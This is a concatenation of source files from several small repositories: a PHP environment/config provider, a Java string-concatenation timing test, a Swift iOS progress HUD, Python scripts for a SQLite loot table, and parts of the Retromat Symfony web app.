return isset($data[$sub_key]) ? $data[$sub_key] : null;
}
return $data;
}
else {
return $data;
}
}
return $this->config;
}
}
// ---------------------------------------------------------------------------------------------------------------------
// > END Config < #
// --------------------------------------------------------------------------------------------------------------------- <file_sep><?php
/**
* Project: EnvironmentProvider
* User: MadFaill
* Date: 06.08.14
* Time: 21:34
* File: Provider.php
* Package: EnvironmentProvider
*
*/
namespace EnvironmentProvider;
use EnvironmentProvider\error\Exception;
use EnvironmentProvider\lib\Config;
use EnvironmentProvider\lib\Environ;
/**
* Class Provider
* @description None.
*
* @author MadFaill
* @copyright MadFaill 06.08.14
* @since 06.08.14
* @version 0.01
* @package EnvironmentProvider
*/
class Provider
{
/** @var \EnvironmentProvider\lib\Environ */
private $environ;
/**
* @param Environ $environment
*/
private function __construct(Environ $environment)
{
$this->environ = $environment;
}
/**
* Инициализирует среду с INI конфигом
*
* @param $path
* @return Provider
* @throws error\Exception
*/
public static function initWithINIFile($path)
{
if (!file_exists($path)) {
throw new Exception('INI file not found');
}
define('_PROVIDER_INI_FILE_PATH_', dirname($path));
$environ_map = parse_ini_file($path, true);
$environ = new Environ($environ_map);
$provider = new Provider($environ);
return $provider;
}
/**
* @return Environ
*/
public function Environ()
{
return $this->environ;
}
/**
* @return Config
*/
public function Config()
{
return $this->environ->config();
}
}
// ---------------------------------------------------------------------------------------------------------------------
// > END Provider < #
// --------------------------------------------------------------------------------------------------------------------- <file_sep><?php
/**
* Project: EnvironmentProvider
* User: MadFaill
* Date: 06.08.14
* Time: 21:47
* File: main.php
*
*/
include __DIR__."/../vendor/autoload.php";
$cfg = __DIR__.'/env/mapper.ini';
$provider = \EnvironmentProvider\Provider::initWithINIFile($cfg);
$config = $provider->Config();
$environ = $provider->Environ();
// read config
var_dump($config->get());
var_dump($config->get('group-1'));
var_dump($config->get('group-1', 'option'));
var_dump($config->get('group-1', 'option', 'g1'));
// get data from env
var_dump($environ->data('is_console'));
var_dump($environ->data('user'));
|
717f39bfe263a4af8beb579077dd588b7bc21961
|
[
"Markdown",
"PHP",
"INI"
] | 9 |
INI
|
MadFaill/EnvironmentProvider
|
666819e789eff815059e70ccb3af5c0ed69b9337
|
d48918046132e06ea04e601301029ff8c52f1703
|
refs/heads/master
|
<file_sep>package controller;
public class OperacoesController {
public OperacoesController() {
// metodo construtor
super();
}
// Concatena 32768 caracteres, 1 a 1, em uma var String
public void concatenaString() {
String cadeia ="";
double tempoInicial = System.nanoTime();
for (int i=0 ; i<32768; i++) {
cadeia = cadeia + "l";
}
double tempoFinal=System.nanoTime();
double tempoTotal= tempoFinal - tempoInicial;
// converte de Nano segundos para segundos
tempoTotal = tempoTotal / Math.pow(10, 9);
System.out.println("String===> " + tempoTotal + "s.");
}
//Concatena 32768 caracteres, 1 a 1, em um buffer de Strings
public void concatenaBuffer() {
StringBuffer buffer = new StringBuffer();
double tempoInicial = System.nanoTime();
for (int i=0 ; i<32768; i++) {
buffer.append("l");
}
double tempoFinal=System.nanoTime();
double tempoTotal= tempoFinal - tempoInicial;
// converte de Nano segundos para segundos
tempoTotal = tempoTotal / Math.pow(10, 9);
System.out.println("Buffer===> " + tempoTotal + "s.");
}
}
|
1311218f41c907d3d6477aa50cfb95c7280e8fe5
|
[
"Java"
] | 1 |
Java
|
SistemasOperacionaisAulas/Aula1TestePerfomance
|
704f252707f9be7fb1785bd1d0e4eac59efcff92
|
738c67b87c19febe1cc038d5fe07f9fed956f362
|
refs/heads/master
|
<repo_name>AndyCuiYTT/AYProgressHUD<file_sep>/Sources/AYProgressHUD.swift
//
// AYProgressHUD.swift
// AYProgressHUD
//
// Created by Andy on 2017/6/14.
// Copyright © 2017年 Andy. All rights reserved.
//
import UIKit
var kScreenWidth: CGFloat = UIScreen.main.bounds.width
var kScreenHeight: CGFloat = UIScreen.main.bounds.height
class AYProgressHUD: UIView {
/// 单例
static let shareOnce: AYProgressHUD = AYProgressHUD.defaultHUB()
private class func defaultHUB() -> AYProgressHUD{
let hub: AYProgressHUD = AYProgressHUD.init(frame: UIScreen.main.bounds)
hub.mainView.frame = hub.mainRect
hub.backgroundColor = hub.bgLayerColor
hub.mainView.backgroundColor = hub.bgColor
hub.mainView.layer.masksToBounds = true
hub.mainView.layer.cornerRadius = 20
hub.addSubview(hub.mainView)
hub.mainView.addSubview(hub.activityView)
hub.activityView.isHidden = true
hub.activityView.activityIndicatorViewStyle = hub.indicatorViewStyle!
hub.activityView.translatesAutoresizingMaskIntoConstraints = false
hub.mainView.addSubview(hub.statusImgView)
hub.statusImgView.isHidden = true
hub.statusImgView.contentMode = .center
hub.statusImgView.translatesAutoresizingMaskIntoConstraints = false
hub.mainView.addSubview(hub.statusLabel)
hub.statusLabel.isHidden = true
hub.statusLabel.textAlignment = NSTextAlignment.center
hub.statusLabel.translatesAutoresizingMaskIntoConstraints = false
return hub
}
/// 主视图
private var mainView: UIView = UIView()
private var mainRect: CGRect = CGRect.init(x: kScreenWidth / 4, y: kScreenHeight / 2 - kScreenWidth / 4, width: kScreenWidth / 2, height: kScreenWidth / 2)
/// 菊花转视图
private var activityView = UIActivityIndicatorView()
/// 状态视图
private var statusImgView = UIImageView()
private var statusLabel = UILabel()
/// 错误提示图
private var errorImg: UIImage? = UIImage.init(named: "error")
/// 成功提示图
private var successImg: UIImage? = UIImage.init(named: "success")
/// 警告提示图
private var infoImg: UIImage? = UIImage.init(named: "info")
/// 背景色
private var bgColor: UIColor? = UIColor.white
/// 背景遮罩
private var bgLayerColor: UIColor? = UIColor.black.withAlphaComponent(0.5)
/// 加载图样式
private var indicatorViewStyle: UIActivityIndicatorViewStyle? = .gray
/// 默认关闭时间
private var time: TimeInterval? = 2
/// 设置背景颜色
///
/// - Parameter color: 背景色
public class func setBgColor(color: UIColor) -> Void {
shareOnce.backgroundColor = color
shareOnce.mainView.backgroundColor = color
}
/// 设置警告图片
///
/// - Parameter image: 警告图片
public class func setInfoImage(image: UIImage) -> Void {
shareOnce.infoImg = image;
}
/// 设置错误图片
///
/// - Parameter image: 错误图片
public class func setErrorImage(image: UIImage) -> Void {
shareOnce.errorImg = image
}
/// 设置成功图片
///
/// - Parameter image: 成功图片
public class func setSuccessImage(image: UIImage) -> Void {
shareOnce.successImg = image
}
/// 设置自动关闭时间(默认 2)
///
/// - Parameter time: 显示时长
public class func setHiddenTime(time: TimeInterval) -> Void {
shareOnce.time = time
}
/// 显示加载
public class func show() -> Void{
shareOnce.statusImgView.isHidden = true
shareOnce.statusLabel.isHidden = true
let activity: UIActivityIndicatorView = shareOnce.activityView
activity.center = CGPoint.init(x:shareOnce.mainView.frame.width / 2, y:shareOnce.mainView.frame.height / 2 )
activity.transform = CGAffineTransform.init(scaleX: 2, y: 2)
activity.isHidden = false
activity.startAnimating()
shareOnce.getWindow().addSubview(shareOnce)
}
/// 显示加载,不可自动关闭
///
/// - Parameter status: 说明文字
public class func show(status: String) -> Void{
shareOnce.statusImgView.isHidden = true
let hConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[imgView]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgView":shareOnce.activityView])
let vConstraint = NSLayoutConstraint.constraints(withVisualFormat: "V:|-10-[imgview]-5-[label(30)]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgview":shareOnce.activityView,"label":shareOnce.statusLabel])
let hLabelConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[label]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["label":shareOnce.statusLabel])
shareOnce.mainView.addConstraints(hConstraint)
shareOnce.mainView.addConstraints(hLabelConstraint)
shareOnce.mainView.addConstraints(vConstraint)
shareOnce.statusLabel.text = status
shareOnce.statusLabel.isHidden = false
shareOnce.activityView.isHidden = false
shareOnce.activityView.startAnimating()
shareOnce.getWindow().addSubview(shareOnce)
}
/// 成功显示,可自动关闭
///
/// - Parameter status: 成功说明文字
public class func showSuccess(status: String) -> Void{
shareOnce.activityView.isHidden = true
shareOnce.activityView.stopAnimating()
let hConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[imgView]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgView":shareOnce.statusImgView])
let vConstraint = NSLayoutConstraint.constraints(withVisualFormat: "V:|-10-[imgview]-5-[label(30)]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgview":shareOnce.statusImgView,"label":shareOnce.statusLabel])
let hLabelConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[label]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["label":shareOnce.statusLabel])
shareOnce.mainView.addConstraints(hConstraint)
shareOnce.mainView.addConstraints(hLabelConstraint)
shareOnce.mainView.addConstraints(vConstraint)
shareOnce.statusLabel.text = status
shareOnce.statusLabel.isHidden = false
shareOnce.statusImgView.isHidden = false
shareOnce.statusImgView.image = shareOnce.successImg
shareOnce.getWindow().addSubview(shareOnce)
AYProgressHUD.hiddenAfterTime()
}
/// 提示显示,可自动回收
///
/// - Parameter status: 提示说明文字
public class func showInfo(status: String) -> Void{
shareOnce.activityView.isHidden = true
shareOnce.activityView.stopAnimating()
let hConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[imgView]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgView":shareOnce.statusImgView])
let vConstraint = NSLayoutConstraint.constraints(withVisualFormat: "V:|-10-[imgview]-5-[label(30)]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgview":shareOnce.statusImgView,"label":shareOnce.statusLabel])
let hLabelConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[label]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["label":shareOnce.statusLabel])
shareOnce.mainView.addConstraints(hConstraint)
shareOnce.mainView.addConstraints(hLabelConstraint)
shareOnce.mainView.addConstraints(vConstraint)
shareOnce.statusLabel.text = status
shareOnce.statusLabel.isHidden = false
shareOnce.statusImgView.isHidden = false
shareOnce.statusImgView.image = shareOnce.infoImg
shareOnce.getWindow().addSubview(shareOnce)
AYProgressHUD.hiddenAfterTime()
}
/// 错误显示,可自动回收
///
/// - Parameter status:错误显示文字
public class func showError(status: String) -> Void{
shareOnce.activityView.isHidden = true
shareOnce.activityView.stopAnimating()
let hConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[imgView]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgView":shareOnce.statusImgView])
let vConstraint = NSLayoutConstraint.constraints(withVisualFormat: "V:|-10-[imgview]-5-[label(30)]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["imgview":shareOnce.statusImgView,"label":shareOnce.statusLabel])
let hLabelConstraint = NSLayoutConstraint.constraints(withVisualFormat: "H:|-10-[label]-10-|", options: .directionLeadingToTrailing, metrics: nil, views: ["label":shareOnce.statusLabel])
shareOnce.mainView.addConstraints(hConstraint)
shareOnce.mainView.addConstraints(hLabelConstraint)
shareOnce.mainView.addConstraints(vConstraint)
shareOnce.statusLabel.text = status
shareOnce.statusLabel.isHidden = false
shareOnce.statusImgView.isHidden = false
shareOnce.statusImgView.image = shareOnce.errorImg
shareOnce.getWindow().addSubview(shareOnce)
AYProgressHUD.hiddenAfterTime()
}
public class func hidden() -> Void {
shareOnce.activityView.isHidden = true
shareOnce.statusImgView.isHidden = true
shareOnce.statusLabel.isHidden = true
shareOnce.activityView.startAnimating()
shareOnce.removeFromSuperview()
}
private class func hiddenAfterTime() -> Void{
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + shareOnce.time!) {
AYProgressHUD.hidden()
}
}
/// 获取 window 视图
///
/// - Returns: window 视图
private func getWindow() -> UIWindow{
return ((UIApplication.shared.delegate?.window)!)!
}
}
<file_sep>/AYProgressHUD/ViewController.swift
//
// ViewController.swift
// AYProgressHUD
//
// Created by Andy on 2017/6/14.
// Copyright © 2017年 Andy. All rights reserved.
//
import UIKit
class ViewController: UIViewController {
var image: UIImage? = UIImage.init(named: "error")
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
// let imgView = UIImageView.init(frame: CGRect.init(x: 20, y: 20, width: 100, height: 100))
// image = UIImage.init(named: "info")
//
// imgView.image = image
//
// self.view.addSubview(AYProgressHUD.shareOnce)
//
// let window: UIWindow = ((UIApplication.shared.delegate?.window)!)!
//
// window.addSubview(AYProgressHUD.shareOnce)
AYProgressHUD.setHiddenTime(time: 10)
AYProgressHUD.showInfo(status: "Success")
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
<file_sep>/README.md
# AYProgressHUD
进度提示组件
|
20dbe887efc9569a9ae6586655c8571a851c06fe
|
[
"Swift",
"Markdown"
] | 3 |
Swift
|
AndyCuiYTT/AYProgressHUD
|
cbebbf8a45f0991d8aec4dad1ad0d2220b5052f8
|
3846a0d0fd07be08244744117af17c3b6b4c5281
|
refs/heads/master
|
<repo_name>dlee90/Custom-Loot<file_sep>/getloot.py
import sys, getopt
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.sql.expression import func
from database_setup import Treasure, Base
engine = create_engine('sqlite:///treasurechest.db')
Base.metadata.bind = engine
DBSession = sessionmaker(bind=engine)
session = DBSession()
def getloot(argv):
rarity = 1
tier = 1
num = 3
try:
opts, args = getopt.getopt(argv,"t:r:n:",["tier=","rarity=","num="])
except getopt.GetoptError:
print 'getloot.py -t <tier> -r <rarity> -n <num>'
sys.exit(2)
for opt, arg in opts:
if opt in ("-t", "--tier"):
tier = arg
elif opt in ("-r", "--rarity"):
rarity = arg
elif opt in ("-n", "--num"):
num = arg
f = open('out.txt', 'w')
treasures = session.query(Treasure).\
filter_by(
tier = tier,
rarity = rarity
).\
order_by(func.random()).\
limit(num)
for treasure in treasures:
print >> f, 'Treasure: {0}, tier = {1}, rarity = {2}'.format(treasure.name, treasure.tier, treasure.rarity)
f.close()
if __name__ == "__main__":
getloot(sys.argv[1:])<file_sep>/populate_db.py
import csv
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from database_setup import Treasure, Base
engine = create_engine('sqlite:///treasurechest.db')
Base.metadata.bind = engine
DBSession = sessionmaker(bind=engine)
session = DBSession()
def populate_db():
with open('treasure.csv','rb') as csvfile:
spamreader = csv.reader(csvfile, delimiter=',')
headers = spamreader.next()
for ind in range(0,len(headers)):
if headers[ind].lower() == 'name':
nameIndex = ind
if headers[ind].lower() == 'tier':
tierIndex = ind
if headers[ind].lower() == 'rarity':
rarityIndex = ind
if headers[ind].lower() == 'appearance':
appearanceIndex = ind
if headers[ind].lower() == 'effect':
effectIndex = ind
for row in spamreader:
treasure = Treasure(
name = row[nameIndex],
tier = row[tierIndex],
rarity = row[rarityIndex],
appearance = row[appearanceIndex],
effect = row[effectIndex]
)
session.add(treasure)
session.commit()
if __name__ == "__main__":
populate_db()<file_sep>/database_setup.py
import sys
from sqlalchemy import Column, Integer, String, Numeric
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import create_engine
Base = declarative_base()
class Treasure(Base):
__tablename__ = 'treasure'
name = Column(String(80), nullable = False)
tier = Column(Integer)
rarity = Column(Integer)
weight = Column(Numeric)
appearance = Column(String(500))
effect = Column(String(500))
id = Column(Integer, primary_key = True)
###### insert at end of file ######
engine = create_engine('sqlite:///treasurechest.db')
Base.metadata.create_all(engine)<file_sep>/README.md
Custom Loot
========
Custom Loot pulls random treasures from the treasure.csv list based on tier and rarity.
Custom Loot uses Python(https://www.python.org/) and SQLalchemy (http://www.sqlalchemy.org/)
### Prereq
To run, you must have installed python and sqlalchemy. If you do not want to install sqlalchemy, you can download the install package for it, and extract SQLAlchemy-###.tar.gz/dist/SQLAlchemy-###.tar/SQLAlchemy###/lib/sqlalchemy directory into the root of this project.
### Setup
Once the treasure.csv contains all the items you desire run the following (Do not modify the headers):
database_setup.py
populate_db.py
### Usage
getloot.py [-t tier] [-r rarity] [-n numberofitems]
This will output the results into out.txt
### Adding new treasures
While you can modify the treasure.csv to just include the new items and then run populate_db.py, I would recommend simply deleting the treasurechest.db and redoing the Setup.
|
a5e639c683d32dc9c2545a90ec07268d6a915815
|
[
"Markdown",
"Python"
] | 4 |
Python
|
dlee90/Custom-Loot
|
11e100c0131e8124bf61de77793a97b7ab291a61
|
6c0a85ba83750aff012322721743b4424038ffd7
|
refs/heads/master
|
<file_sep><?php
namespace App\Model\User\Exception;
final class InvalidUserResetPasswordTokenException extends \Exception implements UserExceptionInterface
{
/**
* @return string
*/
public function getErrorMessage(): string
{
return 'The token is invalid.';
}
}
<file_sep>// Frequent sources for activities
var source_agileRetrospectives = '<a href="http://www.amazon.com/Agile-Retrospectives-Making-Teams-Great/dp/0977616649/">Agile Retrospectives<\/a>';
var source_findingMarbles = '<a href="http://www.finding-marbles.com/"><NAME><\/a>';
var source_kalnin = '<a href="http://vinylbaustein.net/tag/retrospective/"><NAME><\/a>';
var source_innovationGames = '<a href="http://www.amazon.com/Innovation-Games-Creating-Breakthrough-Collaborative/dp/0321437292/"><NAME><\/a>';
var source_facilitatorsGuide = '<a href="http://www.amazon.de/Facilitators-Participatory-Decision-Making-Jossey-Bass-Management/dp/0787982660/">Facilitator\'s Guide to Participatory Decision-Making<\/a>';
var source_skycoach = '<a href="http://skycoach.be/ss/"><NAME></a>';
var source_judith = '<a href="https://leanpub.com/ErfolgreicheRetrospektiven"><NAME></a>';
var source_unknown = 'Unknown';<file_sep><?php
namespace App\Model\Twig;
class ColorVariation
{
private $colors = [];
private $previousColor = -1;
private $allColors = [0, 1, 2, 3, 4];
public function nextColor()
{
if (\count($this->colors) < 2) {
$this->colors = $this->allColors;
\shuffle($this->colors);
}
$color = \array_pop($this->colors);
if ($color == $this->previousColor) {
$color = \array_pop($this->colors);
}
$this->previousColor = $color;
return $color;
}
}
<file_sep><?php
namespace App\Model\User\Mailer;
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Address;
class UserResetPasswordMailer
{
private string $from;
private string $subject;
private string $template;
private MailerInterface $mailer;
/**
* @param string $from
* @param string $subject
* @param string $template
* @param MailerInterface $mailer
*/
public function __construct(string $from, string $subject, string $template, MailerInterface $mailer)
{
$this->from = $from;
$this->subject = $subject;
$this->template = $template;
$this->mailer = $mailer;
}
/**
* @param string $to
* @param array $context
* @throws \Symfony\Component\Mailer\Exception\TransportExceptionInterface
*/
public function send(string $to, array $context): void
{
$this->mailer->send(
$this->prepare(
$to,
$context
)
);
}
/**
* @param string $to
* @param array $context
* @return TemplatedEmail
*/
private function prepare(string $to, array $context): TemplatedEmail
{
return (new TemplatedEmail())
->from(new Address($this->from))
->to($to)
->subject($this->subject)
->textTemplate($this->template)
->context($context);
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20220513161904 extends AbstractMigration
{
/**
* @return string
*/
public function getDescription(): string
{
return 'Create user password reset request table';
}
/**
* @param Schema $schema
*/
public function up(Schema $schema): void
{
$this->addSql(
'
CREATE TABLE user_reset_password_request
(
id INT AUTO_INCREMENT NOT NULL,
user_id INT NOT NULL,
selector VARCHAR(32) NOT NULL,
hashed_token VARCHAR(100) NOT NULL,
requested_at DATETIME NOT NULL COMMENT \'(DC2Type:datetime_immutable)\',
expires_at DATETIME NOT NULL COMMENT \'(DC2Type:datetime_immutable)\',
INDEX IDX_B0B32CFCA76ED395 (user_id),
PRIMARY KEY(id)
)
DEFAULT CHARACTER SET utf8mb4 COLLATE `utf8mb4_unicode_ci`
ENGINE = InnoDB'
);
$this->addSql(
'
ALTER TABLE user_reset_password_request
ADD CONSTRAINT FK_B0B32CFCA76ED395
FOREIGN KEY (user_id) REFERENCES user (id)'
);
}
/**
* @param Schema $schema
*/
public function down(Schema $schema): void
{
$this->addSql('DROP TABLE user_reset_password_request');
}
}
<file_sep><?php
$finder = (new PhpCsFixer\Finder())
->in(__DIR__)
->exclude(['var', 'bin']);
return (new PhpCsFixer\Config())
->setRiskyAllowed(true)
->setRules([
'@PSR12' => true,
'ordered_imports' => true,
'declare_strict_types' => false,
'native_function_invocation' => ['include' => ['@all']],
'php_unit_mock_short_will_return' => true,
])
->setFinder($finder);
<file_sep><?php
namespace App\Entity;
use Symfony\Component\Security\Core\User\UserInterface;
interface UserResetPasswordRequestInterface
{
public function getRequestedAt(): \DateTimeInterface;
public function isExpired(): bool;
public function getExpiresAt(): \DateTimeInterface;
public function getHashedToken(): string;
public function getUser(): UserInterface;
}
<file_sep><?php
namespace App\Tests;
use Doctrine\Common\DataFixtures\Executor\ORMExecutor;
use Liip\FunctionalTestBundle\Test\WebTestCase;
use Liip\TestFixturesBundle\Services\DatabaseToolCollection;
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
class AbstractTestCase extends WebTestCase
{
/**
* @param $fixtures
* @return ORMExecutor
*/
public function loadFixtures($fixtures): ORMExecutor
{
return $this->getContainer()
->get(DatabaseToolCollection::class)
->get()
->loadFixtures($fixtures);
}
/**
* @return KernelBrowser
*/
protected function getKernelBrowser(): KernelBrowser
{
if (static::$booted) {
static::ensureKernelShutdown();
}
return static::createClient(['debug' => false]);
}
}
<file_sep><?php
$_lang['HTML_TITLE'] = 'Anregungen & Abläufe für (agile) Retrospektiven';
$_lang['INDEX_PITCH'] = 'Translate me: Du planst Deine nächste <b>Retrospektive</b>? Fang mit einem zufällig generierten Ablauf an, pass ihn an, druck ihn aus und teile die URL mit anderen. Oder guck Dich einfach nach neuen Ideen um!<br><br>Ist es Deine erste Retro? <a href="/blog/best-retrospective-for-beginners/">Fang hier an!</a>';
$_lang['INDEX_PLAN_ID'] = 'Ablauf-ID:';
$_lang['INDEX_BUTTON_SHOW'] = 'Anzeigen';
$_lang['INDEX_RANDOM_RETRO'] = 'Neuer zufälliger Ablauf';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Durchsuche Aktivitäten';
$_lang['INDEX_ALL_ACTIVITIES'] = 'Alle Aktivitäten für';
$_lang['INDEX_LOADING'] = '... LADE AKTIVITÄTEN ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/was-ist-eine-agile-retrospektive/">Translate me: Was ist eine Retrospektive?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">Über den Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Gedruckte Ausgabe</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>c2MFNsUEVRdXpMNWc6MQ">Aktivität hinzufügen</a>';
$_lang['INDEX_ABOUT'] = 'Retromat enthält <span class="js_footer_no_of_activities"></span> Aktivitäten, die insgesamt <span class="js_footer_no_of_combinations"></span> (<span class="js_footer_no_of_combinations_formula"></span>) Kombinationen ermöglichen. Und wir fügen laufend weitere hinzu.'; // Kennst Du eine tolle Aktivität?
$_lang['INDEX_ABOUT_SUGGEST'] = 'Schlag sie vor';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Übersetzung von ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = 'Add translator name here';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'Add translator URL here';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/Add-translator-image-here.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
Add translator info here Add translator info here Add translator info here Add translator info here Add translator info here Add translator info here Add translator info here
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Original von ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Während ihrer Zeit als ScrumMaster hat sich Corinna so etwas wie den Retromat gewünscht.
Letztlich hat sie ihn einfach selbst gebaut in der Hoffnung, dass er auch anderen hilft.
Hast Du Fragen, Vorschläge oder Aufmunterungen für sie?
Du kannst ihr <a href="mailto:<EMAIL>">schreiben</a> oder
ihr <a href="https://twitter.com/corinnabaldauf">auf Twitter folgen</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Mitentwickelt von ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Timon gibt Scrum Trainings. Als Mentor unterstützt er <a href="/en/team/timon">advanced Scrum Master</a> und <a href="/en/team/timon">advanced Product Owner</a>.
Mensch, Vater, Nerd, Contact Improv & Tangotänzer.
Retromat Nutzer seit 2013, Mitentwickler seit 2016.
Du kannst ihm <a href="mailto:<EMAIL>">schreiben</a> oder ihm <a href="https://twitter.com/TimonFiddike">auf Twitter folgen</a>.
Photo © Ina Abraham.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Quelle:';
$_lang['ACTIVITY_PREV'] = 'Zeige eine andere Aktivität für diese Phase';
$_lang['ACTIVITY_NEXT'] = 'Zeige eine andere Aktivität für diese Phase';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Foto hinzufügen';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Fotos%20f%C3%BCr%20Aktivit%C3%A4t%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Foto%20ist%20im%20Anhang%0D%0A[%20]%20Photo%20ist%20online%20unter%3A%20%0D%0A%0D%0AMfG%2C%0D%0ADein%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'Foto ansehen';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'Fotos ansehen';
$_lang['ACTIVITY_PHOTO_BY'] = 'Foto von ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat benutzt viel JavaScript und funktioniert ohne nicht richtig. Bitte schalte JavaScript in Deinem Browser ein. Danke!';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Tut mir leid , ich kann keine Aktivität mit dieser ID finden: ';
$_lang['POPUP_CLOSE'] = 'Schließen';
$_lang['POPUP_IDS_BUTTON'] = 'Anzeigen';
$_lang['POPUP_IDS_INFO']= 'Beispiel-ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Suchen';
$_lang['POPUP_SEARCH_INFO']= 'Durchsucht Titel, Zusammenfassungen & Beschreibungen';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Tut mir leid, kein Ergebnis für';<file_sep><?php
namespace App\Model\Sitemap\Subscriber;
use App\Model\Sitemap\ActivityUrlGenerator;
use App\Model\Sitemap\PlanUrlGenerator;
use Presta\SitemapBundle\Event\SitemapPopulateEvent;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
class SitemapPopulateSubscriber implements EventSubscriberInterface
{
private ActivityUrlGenerator $activityUrlGenerator;
private PlanUrlGenerator $planUrlGenerator;
/**
* @param ActivityUrlGenerator $activityUrlGenerator
*/
public function __construct(ActivityUrlGenerator $activityUrlGenerator, PlanUrlGenerator $planUrlGenerator)
{
$this->activityUrlGenerator = $activityUrlGenerator;
$this->planUrlGenerator = $planUrlGenerator;
}
/**
* @param SitemapPopulateEvent $event
*/
public function onPrestaSitemapPopulate(SitemapPopulateEvent $event): void
{
$this->activityUrlGenerator->generateHomeUrls($event->getUrlContainer());
$this->activityUrlGenerator->generateAllActivityUrls($event->getUrlContainer());
$this->activityUrlGenerator->generateIndividualActivityUrls($event->getUrlContainer());
$this->activityUrlGenerator->generateAllPhaseUrls($event->getUrlContainer());
$this->planUrlGenerator->generatePlanUrls($event->getUrlContainer());
}
/**
* @return string[]
*/
public static function getSubscribedEvents(): array
{
return [
SitemapPopulateEvent::class => 'onPrestaSitemapPopulate',
];
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Controller;
use App\Tests\AbstractTestCase;
use App\Tests\Controller\DataFixtures\LoadUsers;
use Symfony\Bundle\FrameworkBundle\KernelBrowser as Client;
use Symfony\Component\HttpFoundation\Response;
class TeamActivityControllerTest extends AbstractTestCase
{
private const SELECTOR_BUTTON_PRIMARY = 'Save';
public function setUp(): void
{
$this->loadFixtures([]);
}
public function testCreateNewActivityUsesNextFreeRetromatIdEmptyDb(): void
{
$client = $this->makeClientLoginAdmin();
$crawler = $client->request('GET', '/en/team/activity/new');
$prefilledRetromatId = $crawler->filter('#app_activity_retromatId')->eq(0)->attr('value');
$this->assertEquals(1, $prefilledRetromatId);
}
public function testCreateNewActivityUsesNextFreeRetromatIdFullDb()
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/en/team/activity/new');
$prefilledRetromatId = $crawler->filter('#app_activity_retromatId')->eq(0)->attr('value');
$this->assertEquals(132, $prefilledRetromatId);
}
public function testCreateNewActivityPhase1(): void
{
$client = $this->makeClientLoginAdmin();
$crawler = $client->request('GET', '/en/team/activity/new');
$form = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->setValues(
[
'app_activity[phase]' => 1,
'app_activity[name]' => 'foo',
'app_activity[summary]' => 'bar',
'app_activity[desc]' => 'la',
]
);
$client->submit($form);
$this->assertStatusCode(Response::HTTP_SEE_OTHER, $client);
}
public function testCreateNewActivityPhase0(): void
{
$client = $this->makeClientLoginAdmin();
$crawler = $client->request('GET', '/en/team/activity/new');
$form = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->setValues(
[
'app_activity[phase]' => 0,
'app_activity[name]' => 'foo',
